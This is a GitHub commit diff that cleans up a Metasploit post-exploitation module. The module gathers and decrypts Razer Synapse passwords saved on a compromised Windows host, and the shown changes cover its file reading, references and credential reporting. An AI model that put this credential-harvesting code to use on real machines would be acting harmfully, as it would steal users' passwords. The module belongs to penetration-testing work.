Skip to content

Commit 09b4a09

Browse files
author
jvazquez-r7
committed
module razer_synapse cleanup
1 parent 9929600 commit 09b4a09

File tree

1 file changed

+11
-9
lines changed

1 file changed

+11
-9
lines changed

modules/post/windows/gather/credentials/razer_synapse.rb

Lines changed: 11 additions & 9 deletions
Original file line numberDiff line numberDiff line change
@@ -15,6 +15,7 @@ class Metasploit3 < Msf::Post
1515

1616
include Msf::Post::Common
1717
include Msf::Post::Windows::UserProfiles
18+
include Msf::Post::File
1819

1920
def initialize(info={})
2021
super(update_info(info,
@@ -23,7 +24,7 @@ def initialize(info={})
2324
This module will enumerate passwords stored by the Razer Synapse
2425
client. The encryption key and iv is publicly known. This module
2526
will not only extract encrypted password but will also decrypt
26-
password using public key. Affects version 1.7.15 and earlier.
27+
password using public key. Affects versions earlier than 1.7.15.
2728
},
2829
'License' => MSF_LICENSE,
2930
'Author' =>
@@ -32,9 +33,13 @@ def initialize(info={})
3233
'Matt Howard "pasv" <themdhoward[at]gmail.com>', #PoC
3334
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
3435
],
36+
'References' =>
37+
[
38+
[ 'URL', 'http://www.pentestgeek.com/2013/01/16/hard-coded-encryption-keys-and-more-wordpress-fun/' ],
39+
[ 'URL', 'https://github.com/pasv/Testing/blob/master/Razer_decode.py' ]
40+
],
3541
'SessionTypes' => [ 'meterpreter' ],
36-
'Platform' => [ 'win' ],
37-
42+
'Platform' => [ 'win' ]
3843
))
3944
end
4045

@@ -61,7 +66,7 @@ def decrypt(hash)
6166
def store_creds(user, pass)
6267
if db
6368
report_auth_info(
64-
:host => client.sock.peerhost,
69+
:host => Rex::Socket.resolv_to_dotted("www.razerzone.com"),
6570
:port => 443,
6671
:ptype => 'password',
6772
:sname => 'razer_synapse',
@@ -98,13 +103,10 @@ def run
98103
grab_user_profiles().each do |user|
99104
if user['LocalAppData']
100105
accounts = user['LocalAppData'] + "\\Razer\\Synapse\\Accounts\\RazerLoginData.xml"
101-
# open the file for reading
102-
config = client.fs.file.new(accounts, 'r') rescue nil
103-
next if config.nil?
106+
next if not file?(accounts)
104107
print_status("Config found for user #{user['UserName']}")
105108

106-
contents = config.read
107-
config.close
109+
contents = read_file(accounts)
108110

109111
# read the contents of file
110112
creds = parse_config(contents)

0 commit comments

Comments
 (0)